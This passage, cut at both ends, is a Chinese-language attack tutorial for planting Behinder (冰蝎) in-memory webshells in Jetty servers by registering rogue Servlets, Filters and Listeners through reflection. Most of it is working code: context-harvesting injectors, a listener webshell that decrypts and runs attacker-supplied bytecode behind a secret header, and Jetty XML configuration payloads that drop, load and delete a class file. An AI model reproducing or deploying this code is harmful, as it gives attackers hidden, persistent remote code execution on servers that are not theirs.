        Object thread = Thread.currentThread();  
        Field fqueue_1 = thread.getClass().getDeclaredField("queue");  
        fqueue_1.setAccessible(true);  
        Object queue_1 = fqueue_1.get(thread);  
        Field fqueue_2 = queue_1.getClass().getDeclaredField("queue");  
        fqueue_2.setAccessible(true);  
        Object queue_2 = (Object) fqueue_2.get(queue_1);  
        Object scanner$1 = Array.get(queue_2, 1);  
        Field fthis$0 = scanner$1.getClass().getDeclaredField("this$0");  
        fthis$0.setAccessible(true);  
        Object scanner = fthis$0.get(scanner$1);  
        Field f_listener = scanner.getClass().getDeclaredField("_listeners");  
        f_listener.setAccessible(true);  
        ArrayList listeners = (ArrayList) f_listener.get(scanner);  
        Object scanningAppProvider = listeners.get(0);  
        Field fthis$0_2 = scanningAppProvider.getClass().getDeclaredField("this$0");  
        fthis$0_2.setAccessible(true);  
        Object webAppProvider = fthis$0_2.get(scanningAppProvider);  
        Field f_appMap = webAppProvider.getClass().getSuperclass().getDeclaredField("_appMap");  
        f_appMap.setAccessible(true);  
        HashMap<String, Object> app = (HashMap) f_appMap.get(webAppProvider);  
        List contexts = new ArrayList();  
        for (Object value : app.values()) {  
            Field f_context = value.getClass().getDeclaredField("_context");  
            f_context.setAccessible(true);  
            WebAppContext context = (WebAppContext) f_context.get(value);  
            if (context != null) {  
                contexts.add(context);  
            }  
        }  
        return contexts;  
    } catch (Exception e) {  
        throw new RuntimeException(e);  
    }  
}

编译字节码,打印一下获取的Context,组合成Payload查看一下,确实获取到了相关的Context

Servlet内存马

添加Servlet

从上面不难看出ServletContext的继承类就是WebAppContext,而这个已经被我们拿到了,接下来看下是如何去动态添加Servlet的,从ServletContext可以看到addServlet有三个实现:

排除JspCServletContextStaticContext,那么就剩下第一个了:

public ServletRegistration.Dynamic addServlet(String servletName, String className) {  
    this.checkDynamic(servletName);  
    ServletHandler handler = ServletContextHandler.this.getServletHandler();  
    ServletHolder holder = handler.getServlet(servletName);  
    if (holder == null) {  
        holder = handler.newServletHolder(Source.JAVAX_API);  
        holder.setName(servletName);  
        holder.setClassName(className);  
        handler.addServlet(holder);  
        return ServletContextHandler.this.dynamicHolderAdded(holder);  
    } else if (holder.getClassName() == null && holder.getHeldClass() == null) {  
        holder.setClassName(className);  
        return holder.getRegistration();  
    } else {  
        return null;  
    }  
}

但是这个实际上是ServletContextHandler的内部类Context,在上面的代码其实可以看到核心的两句代码是:

ServletHandler handler = ServletContextHandler.this.getServletHandler();
handler.addServlet(holder);

因此想要动态添加实际上就变成了构造ServletHolder然后调用handler.addServlet,而ServletContextHandler.this.getServletHandler()实际是:

public ServletHandler getServletHandler() {  
    if (this._servletHandler == null && !this.isStarted()) {  
        this._servletHandler = this.newServletHandler();  
    }  
    return this._servletHandler;  
}

因此实际上获取到了ServletContextHandler_servletHandler属性就可以去动态添加Servlet

@Override  
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {  
    try {  
        ServletContext context = (ServletContext) req.getServletContext();  
        Field fthis$0 = context.getClass().getDeclaredField("this$0");  
        fthis$0.setAccessible(true);  
        Object appContext = fthis$0.get(context);  
        Field f_servletHandler = appContext.getClass().getSuperclass().getDeclaredField("_servletHandler");  
        f_servletHandler.setAccessible(true);  
        Object handler = f_servletHandler.get(appContext);  
        resp.getWriter().println("Get context done " + context.getClass());  
        resp.getWriter().println("Get Servlet handler done " + handler.getClass());  
        Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");  
        Method newServletHolder = handler.getClass().getDeclaredMethod("newServletHolder", source);  
        Field f_javax_api = source.getDeclaredField("JAVAX_API");  
        f_javax_api.setAccessible(true);  
        Object holder = newServletHolder.invoke(handler, f_javax_api.get(null));  
        resp.getWriter().println("Holder construct done " + holder);  
        Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);  
        Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);  
        setName.invoke(holder, "MemShellServlet");  
        setClassName.invoke(holder, "com.test.servlet.MemShellServlet");  
        Method addServlet = handler.getClass().getDeclaredMethod("addServlet", holder.getClass());  
        addServlet.invoke(handler, holder);  
        resp.getWriter().println("Servlet added");  
    } catch (Exception e) {  
        throw new RuntimeException(e);  
    }  
}

之所以用handler.getClass().getClassLoader().loadClass是因为直接引用时报NoClassDefFound异常,目前还没分析出现该问题的原因,但是使用反射直接加载类时可以的。

成功添加:

Servlet路由映射

接下来考虑如何添加Servlet的路由映射,还是从接口方法找实现,同样只有一个,直接进入到具体方法(ServletHolder):

public Set<String> addMapping(String... urlPatterns) {  
    ServletHolder.this.illegalStateIfContextStarted();  
    Set<String> clash = null;  
    String[] var3 = urlPatterns;  
    int var4 = urlPatterns.length;  
  
    for(int var5 = 0; var5 < var4; ++var5) {  
        String pattern = var3[var5];  
        ServletMapping mapping = ServletHolder.this.getServletHandler().getServletMapping(pattern);  
        if (mapping != null && !mapping.isDefault()) {  
            if (clash == null) {  
                clash = new HashSet();  
            }  
  
            clash.add(pattern);  
        }  
    }  
  
    if (clash != null) {  
        return clash;  
    } else {  
        ServletMapping mappingx = new ServletMapping(Source.JAVAX_API);  
        mappingx.setServletName(ServletHolder.this.getName());  
        mappingx.setPathSpecs(urlPatterns);  
        ServletHolder.this.getServletHandler().addServletMapping(mappingx);  
        return Collections.emptySet();  
    }  
}

不难看出核心代码实际在最下面的:

ServletMapping mappingx = new ServletMapping(Source.JAVAX_API);  
mappingx.setServletName(ServletHolder.this.getName());  
mappingx.setPathSpecs(urlPatterns);  
ServletHolder.this.getServletHandler().addServletMapping(mappingx);  

而这又是ServletHolder里的,因此与上面的添加Servlet组合即可:

Class servletMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletMapping");  
Object mappingx = servletMapping.getConstructor(source).newInstance(f_javax_api.get(null));  
Method setServletName = mappingx.getClass().getDeclaredMethod("setServletName", String.class);  
Method setPathSpec = mappingx.getClass().getDeclaredMethod("setPathSpec", String.class);  
Method addServletMapping = handler.getClass().getDeclaredMethod("addServletMapping", servletMapping);  
setServletName.invoke(mappingx, "MemShellServlet");  
setPathSpec.invoke(mappingx, "/mem");  
addServletMapping.invoke(handler, mappingx);  
resp.getWriter().println("Servlet mapping added");

访问测试:

注入内存马

因为已经可以执行任意代码了,因此还是通过反射直接defineClass后添加Servlet

try {  
    Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
    defineClass.setAccessible(true);  
    byte[] cb = Base64.getDecoder().decode(classbyte);  
    List contexts = getContext();  
    for(Object context : contexts) {  
        defineClass.invoke(Thread.currentThread().getContextClassLoader(), cb, 0, cb.length);  
        Field f_servletHandler = context.getClass().getSuperclass().getDeclaredField("_servletHandler");  
        f_servletHandler.setAccessible(true);  
        Object handler = f_servletHandler.get(context);  
        Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");  
        Method newServletHolder = handler.getClass().getDeclaredMethod("newServletHolder", source);  
        Field f_javax_api = source.getDeclaredField("JAVAX_API");  
        f_javax_api.setAccessible(true);  
        Object holder = newServletHolder.invoke(handler, f_javax_api.get(null));  
        Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);  
        Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);  
        setName.invoke(holder, "MemShellServlet");  
        setClassName.invoke(holder, "org.me.MemShellServlet");  
        Method addServlet = handler.getClass().getDeclaredMethod("addServlet", holder.getClass());  
        addServlet.invoke(handler, holder);  
        Class servletMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletMapping");  
        Object mappingx = servletMapping.getConstructor(source).newInstance(f_javax_api.get(null));  
        Method setServletName = mappingx.getClass().getDeclaredMethod("setServletName", String.class);  
        Method setPathSpec = mappingx.getClass().getDeclaredMethod("setPathSpec", String.class);  
        Method addServletMapping = handler.getClass().getDeclaredMethod("addServletMapping", servletMapping);  
        setServletName.invoke(mappingx, "MemShellServlet");  
        setPathSpec.invoke(mappingx, "/mem");  
        addServletMapping.invoke(handler, mappingx);  
    }  
} catch (Exception e) {  
    e.printStackTrace();  
}

这会对每一个Context都添加内存马 此处获取的是setPathSpec,这样不用传字符串数组

成功:

完整利用过程

首先准备好冰蝎的内存马编译,得到Base64的字节码,然后编写静态RCE类添加Servlet:

public class Test {  
    static List getContext() {  
        try {  
            Object thread = Thread.currentThread();  
            Field fqueue_1 = thread.getClass().getDeclaredField("queue");  
            fqueue_1.setAccessible(true);  
            Object queue_1 = fqueue_1.get(thread);  
            Field fqueue_2 = queue_1.getClass().getDeclaredField("queue");  
            fqueue_2.setAccessible(true);  
            Object queue_2 = (Object) fqueue_2.get(queue_1);  
            Object scanner$1 = Array.get(queue_2, 1);  
            Field fthis$0 = scanner$1.getClass().getDeclaredField("this$0");  
            fthis$0.setAccessible(true);  
            Object scanner = fthis$0.get(scanner$1);  
            Field f_listener = scanner.getClass().getDeclaredField("_listeners");  
            f_listener.setAccessible(true);  
            ArrayList listeners = (ArrayList) f_listener.get(scanner);  
            Object scanningAppProvider = listeners.get(0);  
            Field fthis$0_2 = scanningAppProvider.getClass().getDeclaredField("this$0");  
            fthis$0_2.setAccessible(true);  
            Object webAppProvider = fthis$0_2.get(scanningAppProvider);  
            Field f_appMap = webAppProvider.getClass().getSuperclass().getDeclaredField("_appMap");  
            f_appMap.setAccessible(true);  
            HashMap<String, Object> app = (HashMap) f_appMap.get(webAppProvider);  
            List contexts = new ArrayList();  
            for (Object value : app.values()) {  
                Field f_context = value.getClass().getDeclaredField("_context");  
                f_context.setAccessible(true);  
                Object context = f_context.get(value);  
                if (context != null) {  
                    contexts.add(context);  
                }  
            }  
            return contexts;  
        } catch (Exception e) {  
            throw new RuntimeException(e);  
        }  
    }  
  
    static String classbyte = "冰蝎Servlet内存马字节码Base64";  
  
    static {  
        try {  
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
            defineClass.setAccessible(true);  
            byte[] cb = Base64.getDecoder().decode(classbyte);  
            List contexts = getContext();  
            for(Object context : contexts) {  
                defineClass.invoke(Thread.currentThread().getContextClassLoader(), cb, 0, cb.length);  
                Field f_servletHandler = context.getClass().getSuperclass().getDeclaredField("_servletHandler");  
                f_servletHandler.setAccessible(true);  
                Object handler = f_servletHandler.get(context);  
                Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");  
                Method newServletHolder = handler.getClass().getDeclaredMethod("newServletHolder", source);  
                Field f_javax_api = source.getDeclaredField("JAVAX_API");  
                f_javax_api.setAccessible(true);  
                Object holder = newServletHolder.invoke(handler, f_javax_api.get(null));  
                Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);  
                Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);  
                setName.invoke(holder, "MemShellServlet");  
                setClassName.invoke(holder, "org.me.MemShellServlet");  
                Method addServlet = handler.getClass().getDeclaredMethod("addServlet", holder.getClass());  
                addServlet.invoke(handler, holder);  
                Class servletMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletMapping");  
                Object mappingx = servletMapping.getConstructor(source).newInstance(f_javax_api.get(null));  
                Method setServletName = mappingx.getClass().getDeclaredMethod("setServletName", String.class);  
                Method setPathSpec = mappingx.getClass().getDeclaredMethod("setPathSpec", String.class);  
                Method addServletMapping = handler.getClass().getDeclaredMethod("addServletMapping", servletMapping);  
                setServletName.invoke(mappingx, "MemShellServlet");  
                setPathSpec.invoke(mappingx, "/mem");  
                addServletMapping.invoke(handler, mappingx);  
            }  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
  
    }  
}

编译后组合XML RCE的Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
    <Set name="contextPath">/xxx</Set>
    <Call class="java.util.Base64" name="getDecoder">
        <Call id="classbyte" name="decode">
            <Arg>静态类字节码Base64</Arg>
        </Call>
    </Call>
    <New id="os" class="java.io.FileOutputStream">
        <Arg>Test.class</Arg>
        <Arg type="boolean">false</Arg>
        <Call name="write">
            <Arg>
                <Ref refid="classbyte" />
            </Arg>
        </Call>
        <Call name="close"></Call>
    </New>
    <New id="file" class="java.io.File">
	    <Arg>./</Arg>
	    <Call id="url" name="toURL"></Call>
    </New>
    <New id="url_classloader" class="java.net.URLClassLoader">
        <Arg>
            <Array type="java.net.URL">
                <Item>
                    <Ref refid="url" />
                </Item>
            </Array>
        </Arg>
        <Call name="loadClass">
            <Arg>Test</Arg>
            <Call name="newInstance"></Call>
        </Call>
    </New>
    <New class="java.io.File">
        <Arg>Test.class</Arg>
        <Call name="delete"></Call>
    </New>
</Configure>

发送即可获取到链接:

Filter内存马

添加Filter

不难发现实际在之前的ServletContextHandler中存在addFilter方法,直接分析。

三个方法其实也大差不差,还是以字符串参数类型的分析:

public FilterRegistration.Dynamic addFilter(String filterName, String className) {  
    this.checkDynamic(filterName);  
    ServletHandler handler = ServletContextHandler.this.getServletHandler();  
    FilterHolder holder = handler.getFilter(filterName);  
    if (holder == null) {  
        holder = handler.newFilterHolder(Source.JAVAX_API);  
        holder.setName(filterName);  
        holder.setClassName(className);  
        handler.addFilter(holder);  
        return holder.getRegistration();  
    } else if (holder.getClassName() == null && holder.getHeldClass() == null) {  
        holder.setClassName(className);  
        return holder.getRegistration();  
    } else {  
        return null;  
    }  
}

不难发现其实和添加Servlet没啥区别,因此稍微改改代码即可:

protected void doGet(HttpServletRequest req, HttpServletResponse resp) {  
        try {  
            ServletContext context = (ServletContext) req.getServletContext();  
            Field fthis$0 = context.getClass().getDeclaredField("this$0");  
            fthis$0.setAccessible(true);  
            Object appContext = fthis$0.get(context);  
            Field f_servletHandler = appContext.getClass().getSuperclass().getDeclaredField("_servletHandler");  
            f_servletHandler.setAccessible(true);  
            Object handler = f_servletHandler.get(appContext);  
            resp.getWriter().println("Get context done " + context.getClass());  
            resp.getWriter().println("Get Servlet handler done " + handler.getClass());  
            Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");  
            Method newFilterHolder = handler.getClass().getDeclaredMethod("newFilterHolder", source);  
            Field f_javax_api = source.getDeclaredField("JAVAX_API");  
            f_javax_api.setAccessible(true);  
            Object holder = newFilterHolder.invoke(handler, f_javax_api.get(null));  
            resp.getWriter().println("Holder construct done " + holder);  
            Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);  
            Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);  
            setName.invoke(holder, "MemShellFilter");  
            setClassName.invoke(holder, "com.test.servlet.MemShellFilter");  
            Method addFilter = handler.getClass().getDeclaredMethod("addFilter", holder.getClass());  
            addFilter.invoke(handler, holder);  
            resp.getWriter().println("Filter added");  
        } catch (Exception e) {  
            throw new RuntimeException(e);  
        }  
    }

成功添加:

Filter路由映射

按照之前的Servlet分析,不出意外应该在FilterHolder中:

public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {  
    FilterHolder.this.illegalStateIfContextStarted();  
    FilterMapping mapping = new FilterMapping();  
    mapping.setFilterHolder(FilterHolder.this);  
    mapping.setPathSpecs(urlPatterns);  
    mapping.setDispatcherTypes(dispatcherTypes);  
    if (isMatchAfter) {  
        FilterHolder.this.getServletHandler().addFilterMapping(mapping);  
    } else {  
        FilterHolder.this.getServletHandler().prependFilterMapping(mapping);  
    }  
  
}

Servlet的还是大差不差,稍微修改即可:

Class filterMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");  
Object mapping = filterMapping.newInstance();  
Method setFilterHodler = mapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());  
Method setPathSpec = mapping.getClass().getDeclaredMethod("setPathSpec", String.class);  
setFilterHodler.setAccessible(true);  
setFilterHodler.invoke(mapping, holder);  
setPathSpec.invoke(mapping, "/*");  
Method prependFilterMapping = handler.getClass().getDeclaredMethod("prependFilterMapping", filterMapping);  
prependFilterMapping.invoke(handler, mapping);  
resp.getWriter().println("Filter mapping added");

这里提供的方法直接可以将Filter插入到最前方了,无需自己手动调整顺序。

注入内存马

接下来注入内存马,还是一样的操作:

try {  
	ServletContext context = (ServletContext) req.getServletContext();  
	Field fthis$0 = context.getClass().getDeclaredField("this$0");  
	fthis$0.setAccessible(true);  
	Object appContext = fthis$0.get(context);  
	Field f_servletHandler = appContext.getClass().getSuperclass().getDeclaredField("_servletHandler");  
	f_servletHandler.setAccessible(true);  
	Object handler = f_servletHandler.get(appContext);  
	resp.getWriter().println("Get context done " + context.getClass());  
	resp.getWriter().println("Get Servlet handler done " + handler.getClass());  
	Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");  
	Method newFilterHolder = handler.getClass().getDeclaredMethod("newFilterHolder", source);  
	Field f_javax_api = source.getDeclaredField("JAVAX_API");  
	f_javax_api.setAccessible(true);  
	Object holder = newFilterHolder.invoke(handler, f_javax_api.get(null));  
	resp.getWriter().println("Holder construct done " + holder);  
	Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);  
	Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);  
	setName.invoke(holder, "MemShellFilter");  
	setClassName.invoke(holder, "com.test.servlet.MemShellFilter");  
	Method addFilter = handler.getClass().getDeclaredMethod("addFilter", holder.getClass());  
	addFilter.invoke(handler, holder);  
	resp.getWriter().println("Filter added");  
	Class filterMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");  
	Object mapping = filterMapping.newInstance();  
	Method setFilterHodler = mapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());  
	Method setPathSpec = mapping.getClass().getDeclaredMethod("setPathSpec", String.class);  
	setFilterHodler.setAccessible(true);  
	setFilterHodler.invoke(mapping, holder);  
	setPathSpec.invoke(mapping, "/*");  
	Method prependFilterMapping = handler.getClass().getDeclaredMethod("prependFilterMapping", filterMapping);  
	prependFilterMapping.invoke(handler, mapping);  
	resp.getWriter().println("Filter mapping added");  
} catch (Exception e) {  
	throw new RuntimeException(e);  
}  

完整利用过程

静态类添加Filter

public class Test {  
    static List getContext() {  
        try {  
            Object thread = Thread.currentThread();  
            Field fqueue_1 = thread.getClass().getDeclaredField("queue");  
            fqueue_1.setAccessible(true);  
            Object queue_1 = fqueue_1.get(thread);  
            Field fqueue_2 = queue_1.getClass().getDeclaredField("queue");  
            fqueue_2.setAccessible(true);  
            Object queue_2 = (Object) fqueue_2.get(queue_1);  
            Object scanner$1 = Array.get(queue_2, 1);  
            Field fthis$0 = scanner$1.getClass().getDeclaredField("this$0");  
            fthis$0.setAccessible(true);  
            Object scanner = fthis$0.get(scanner$1);  
            Field f_listener = scanner.getClass().getDeclaredField("_listeners");  
            f_listener.setAccessible(true);  
            ArrayList listeners = (ArrayList) f_listener.get(scanner);  
            Object scanningAppProvider = listeners.get(0);  
            Field fthis$0_2 = scanningAppProvider.getClass().getDeclaredField("this$0");  
            fthis$0_2.setAccessible(true);  
            Object webAppProvider = fthis$0_2.get(scanningAppProvider);  
            Field f_appMap = webAppProvider.getClass().getSuperclass().getDeclaredField("_appMap");  
            f_appMap.setAccessible(true);  
            HashMap<String, Object> app = (HashMap) f_appMap.get(webAppProvider);  
            List contexts = new ArrayList();  
            for (Object value : app.values()) {  
                Field f_context = value.getClass().getDeclaredField("_context");  
                f_context.setAccessible(true);  
                Object context = f_context.get(value);  
                if (context != null) {  
                    contexts.add(context);  
                }  
            }  
            return contexts;  
        } catch (Exception e) {  
            throw new RuntimeException(e);  
        }  
    }  
  
    static String classbyte = "冰蝎Filter内存马字节码Base64";  
  
    static {  
        try {  
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
            defineClass.setAccessible(true);  
            byte[] cb = Base64.getDecoder().decode(classbyte);  
            List contexts = getContext();  
            for(Object context : contexts) {  
                defineClass.invoke(Thread.currentThread().getContextClassLoader(), cb, 0, cb.length);  
                Field f_servletHandler = context.getClass().getSuperclass().getDeclaredField("_servletHandler");  
                f_servletHandler.setAccessible(true);  
                Object handler = f_servletHandler.get(context);  
                Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");  
                Method newFilterHolder = handler.getClass().getDeclaredMethod("newFilterHolder", source);  
                Field f_javax_api = source.getDeclaredField("JAVAX_API");  
                f_javax_api.setAccessible(true);  
                Object holder = newFilterHolder.invoke(handler, f_javax_api.get(null));  
                Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);  
                Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);  
                setName.invoke(holder, "MemShellFilter");  
                setClassName.invoke(holder, "org.me.MemShellFilter");  
                Method addFilter = handler.getClass().getDeclaredMethod("addFilter", holder.getClass());  
                addFilter.invoke(handler, holder);  
                Class filterMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");  
                Object mapping = filterMapping.newInstance();  
                Method setFilterHodler = mapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());  
                Method setPathSpec = mapping.getClass().getDeclaredMethod("setPathSpec", String.class);  
                setFilterHodler.setAccessible(true);  
                setFilterHodler.invoke(mapping, holder);  
                setPathSpec.invoke(mapping, "/*");  
                Method prependFilterMapping = handler.getClass().getDeclaredMethod("prependFilterMapping", filterMapping);  
                prependFilterMapping.invoke(handler, mapping);  
            }  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
  
    }  
}

接下来组合:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
    <Set name="contextPath">/xxx</Set>
    <Call class="java.util.Base64" name="getDecoder">
        <Call id="classbyte" name="decode">
            <Arg>静态类字节码Base64</Arg>
        </Call>
    </Call>
    <New id="os" class="java.io.FileOutputStream">
        <Arg>Test.class</Arg>
        <Arg type="boolean">false</Arg>
        <Call name="write">
            <Arg>
                <Ref refid="classbyte" />
            </Arg>
        </Call>
        <Call name="close"></Call>
    </New>
    <New id="file" class="java.io.File">
	    <Arg>./</Arg>
	    <Call id="url" name="toURL"></Call>
    </New>
    <New id="url_classloader" class="java.net.URLClassLoader">
        <Arg>
            <Array type="java.net.URL">
                <Item>
                    <Ref refid="url" />
                </Item>
            </Array>
        </Arg>
        <Call name="loadClass">
            <Arg>Test</Arg>
            <Call name="newInstance"></Call>
        </Call>
    </New>
    <New class="java.io.File">
        <Arg>Test.class</Arg>
        <Call name="delete"></Call>
    </New>
</Configure>

连接成功:

Listener内存马

添加Listener

参考之前的,添加Listener的代码还是在ServletContextHandler中,而且其中之一看起来和之前的逻辑很像:

public <T extends EventListener> void addListener(T t) {  
    if (!ServletContextHandler.this.isStarting()) {  
        throw new IllegalStateException();  
    } else if (!this._enabled) {  
        throw new UnsupportedOperationException();  
    } else {  
        this.checkListener(t.getClass());  
        ListenerHolder holder = ServletContextHandler.this.getServletHandler().newListenerHolder(Source.JAVAX_API);  
        holder.setListener(t);  
        ServletContextHandler.this.addProgrammaticListener(t);  
        ServletContextHandler.this.getServletHandler().addListener(holder);  
        if (ServletContextHandler.this._startListeners) {  
            try {  
                holder.start();  
            } catch (Exception var4) {  
                throw new IllegalStateException(var4);  
            }  
        }  
  
    }  
}

checkListener则是判断t的类型是否为ServletContextListener.class, ServletContextAttributeListener.class, ServletRequestListener.class, ServletRequestAttributeListener.class, HttpSessionIdListener.class, HttpSessionListener.class, HttpSessionAttributeListener.class或者相关类型的子类,因此可以判断这里就是实际添加Listener的代码,进行构造:

protected void doGet(HttpServletRequest req, HttpServletResponse resp) {  
    try {  
        ServletContext context = (ServletContext) req.getServletContext();  
        Field fthis$0 = context.getClass().getDeclaredField("this$0");  
        fthis$0.setAccessible(true);  
        Object appContext = fthis$0.get(context);  
        Field f_servletHandler = appContext.getClass().getSuperclass().getDeclaredField("_servletHandler");  
        f_servletHandler.setAccessible(true);  
        Object handler = f_servletHandler.get(appContext);  
        Method addProgrammaticListener = appContext.getClass().getSuperclass().getSuperclass().getDeclaredMethod("addProgrammaticListener", EventListener.class);  
        Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");  
        Method newListenerHolder = handler.getClass().getDeclaredMethod("newListenerHolder", source);  
        Field f_javax_api = source.getDeclaredField("JAVAX_API");  
        f_javax_api.setAccessible(true);  
        Object holder = newListenerHolder.invoke(handler, f_javax_api.get(null));  
        Method setListener = holder.getClass().getDeclaredMethod("setListener", EventListener.class);  
        Method addListener = handler.getClass().getDeclaredMethod("addListener", holder.getClass());  
        EchoListener listener = new EchoListener();  
        setListener.invoke(holder, listener);  
        addProgrammaticListener.setAccessible(true);  
        addProgrammaticListener.invoke(appContext, listener);  
        addListener.invoke(handler, holder);  
        Method start = holder.getClass().getSuperclass().getSuperclass().getDeclaredMethod("start");  
        start.invoke(holder);  
    } catch (Exception e) {  
        throw new RuntimeException(e);  
    }  
}

这样就成功地添加了一个Listener,当访问一个存在的路由时,就会触发该Listener

冰蝎内存马改造 - Jetty Listener

由于Jetty的Listener和Resin的Listener获取Response不太一样,因此需要重新改造一下冰蝎的内存马。

首先搜一下Response对象的位置:

//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Response").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(servletRequestEvent,keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\\Users\\evalexp\\Desktop\\search_3");
searcher.searchObject();

结果:

TargetObject = {javax.servlet.ServletRequestEvent} 
  ---> request = {org.eclipse.jetty.server.Request} 
   ---> _channel = {org.eclipse.jetty.server.HttpChannelOverHttp} 
    ---> _response = {org.eclipse.jetty.server.Response}

因此获取对应的Response就可以这样:

HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
Field f_channel = request.getClass().getDeclaredField("_channel");  
f_channel.setAccessible(true);  
Object _channel = f_channel.get(request);  
Field f_response = _channel.getClass().getSuperclass().getDeclaredField("_response");  
f_response.setAccessible(true);  
HttpServletResponse response = (HttpServletResponse) f_response.get(_channel);

拿到Response后,就可以着手改造冰蝎的内存马了,可以直接参照Resin的Listener内存马,冰蝎内存马如下:

public class MemListener implements ServletRequestListener {  
    private byte[] Decrypt(byte[] data)  
    {  
        String key="e45e329feb5d925b";  
        for (int i = 0; i < data.length; i++) {  
            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));  
        }  
        return data;  
    }  
  
    @Override  
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {  
        try {  
            HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();  
            if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {  
                Field f_channel = request.getClass().getDeclaredField("_channel");  
                f_channel.setAccessible(true);  
                Object _channel = f_channel.get(request);  
                Field f_response = _channel.getClass().getSuperclass().getDeclaredField("_response");  
                f_response.setAccessible(true);  
                HttpServletResponse response = (HttpServletResponse) f_response.get(_channel);  
                response.reset();  
                response.resetBuffer();  
  
                ByteArrayOutputStream bos = new ByteArrayOutputStream();  
                byte[] buf = new byte[512];  
                int length = request.getInputStream().read(buf);  
                while (length > 0) {  
                    byte[] data = Arrays.copyOfRange(buf, 0 , length);  
                    bos.write(data);  
                    length = request.getInputStream().read(buf);  
                }  
                HashMap<String, Object> pageContext = new HashMap<>();  
                Field f_session = request.getClass().getDeclaredField("_session");  
                f_session.setAccessible(true);  
                pageContext.put("request", request);  
                pageContext.put("response", response);  
                pageContext.put("session", f_session.get(request));  
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
                byte[] byteCode = Decrypt(bos.toByteArray());  
                defineClass.setAccessible(true);  
                Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);  
                clazz.newInstance().equals(pageContext);  
            }  
        } catch (Exception e) {  
            throw new RuntimeException(e);  
        }  
    }  
  
    @Override  
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {  
    }  
}

和Resin略有差别的是,此处获取Response的路径以及需要调用resetresetBuffer方法重置写入的数据,这样可以在任意存在的Servlet(无需POST方法支持)都连接上内存马,无需找到一个可以POST请求的点。

测试连接:

注入内存马

try {  
    Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
    defineClass.setAccessible(true);  
    byte[] cb = Base64.getDecoder().decode(classbyte);  
    List contexts = getContext();  
    for(Object context : contexts) {  
        Class MemListener = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), cb, 0, cb.length);  
        
        Field f_servletHandler = context.getClass().getSuperclass().getDeclaredField("_servletHandler");  
        f_servletHandler.setAccessible(true);  
        Object handler = f_servletHandler.get(context);  
        Method addProgrammaticListener = context.getClass().getSuperclass().getSuperclass().getDeclaredMethod("addProgrammaticListener", EventListener.class);  
        Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");  
